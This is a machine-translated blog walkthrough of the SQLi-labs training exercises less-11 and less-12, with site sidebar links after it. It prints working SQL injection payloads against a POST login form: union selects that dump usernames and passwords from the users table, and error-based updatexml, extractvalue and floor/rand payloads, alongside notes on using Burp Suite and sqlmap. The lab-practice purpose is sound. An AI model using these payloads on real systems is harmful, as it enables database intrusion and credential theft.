当前位置:网站首页>sqlilabs less-11~12
sqlilabs less-11~12
2022-07-01 14:06:00 【It's always late at night.】
less-11

A login function , Go to the source code to see if there is any other information

You can roughly construct a login function sql sentence
select * from table where uname = 'username' and passwd = 'password'
Let's see what type it is 
The blue words below are as follows
You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘1’ LIMIT 0,1’ at line 1
Um. , Is a single quotation mark type 
Modify the structure sql sentence
select username,password from table where uname = ‘input_username’ and passwd = ‘input_password’

Blue word content
The used SELECT statements have a different number of columns


Blue word content
FUNCTION security.databsse does not exist
The database name obtained is security 了


1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

1' union select 1,group_concat(username,password) from users #

Because it passes through POST request
Extra knowledge :
POST and GET It's all about getting Web content, but POST There's a lot of data ,GET Only a few are limited , and GET The sent data will be displayed in the browser ,POST Can't , therefore POST A relatively safe .
So you can still use burp suite
Grab the bag and send it to Repeater Operate inside 
One more sqlmap
hold burp suite Copy the package into the file


After scanning 
Query the database --dbs
Press enter here 

View the current database --current-db


see security The watch in


see security Table in Library users The column of


see security Table in Library users The column value of 

Later, I found that this problem is based on errors
Then try it
- updatexml function
1' and updatexml(1,(concat(0x7c,(select database()))),1)#

- extractvalue function
1' and extractvalue(1,concat(0x7c,(select database())))#

- floor and count(*)
1' union select count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a#

1' union select count(*),str(concat((select database()),floor(rand()*2)),utf8)a from information_schema.tables group by a#

Pick one at random
1' and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database()))),1)#

1' union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema =database()),floor(rand()*2))a from information_schema.tables group by a#

less-12
less-12 and less-11 almost , Only the injection point is different
less-12 Is double quotation marks with parentheses “)
select username.password from users where uname=(”“) and passwd=(”")
边栏推荐
- 光環效應——誰說頭上有光的就算英雄
- AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集
- MySQL日志
- 2022年PMP项目管理考试敏捷知识点(6)
- Use lambda function URL + cloudfront to realize S3 image back to source
- Oracle-数据库对象的使用
- TexStudio使用教程
- 2022上半年英特尔有哪些“硬核创新”?看这张图就知道了!
- Use the npoi package of net core 6 C to read excel Pictures in xlsx cells and stored to the specified server
- Animesr: learnable degradation operator and new real world animation VSR dataset
猜你喜欢

算网融合赋能行业转型,移动云点亮数智未来新路标

Fiori 应用通过 Adaptation Project 的增强方式分享

How can we protect our passwords?

使用 Lambda 函数URL + CloudFront 实现S3镜像回源

2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle

WebSocket(简单体验版)

【NLP】预训练模型——GPT1

原来程序员搞私活这么赚钱?真的太香了

Learning to use livedata and ViewModel will make it easier for you to write business

Build your own website (21)
随机推荐
逻辑是个好东西
使用 Lambda 函数URL + CloudFront 实现S3镜像回源
“国防七子”经费暴增,清华足足362亿元,甩第二名101亿 |全国高校2022预算大公开...
Kongsong (Xintong Institute) - cloud security capacity building and trend in the digital era
既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?
Blind box NFT digital collection platform system development (build source code)
[IOT completion. Part 2] stm32+ smart cloud aiot+ laboratory security monitoring system
光环效应——谁说头上有光的就算英雄
日志中打印统计信息的方案
In depth cooperation | Taosi data cooperates with changhongjia Huawei customers in China to provide tdengine with powerful enterprise level products and perfect service guarantee
Station B was scolded on the hot search..
Basic operation of queue (implemented in C language)
8款最佳实践,保护你的 IaC 安全!
【241. 为运算表达式设计优先级】
Basic knowledge of C language
6年技术迭代,阿里全球化出海&合规的挑战和探索
Force deduction solution summary 241- design priority for operation expression
当主程架构游戏的时候,防止到处调用减少耦合性,怎么开放接口给其他人调用呢?
清华章毓晋老师新书:2D视觉系统和图像技术(文末送5本)
力扣解法汇总241-为运算表达式设计优先级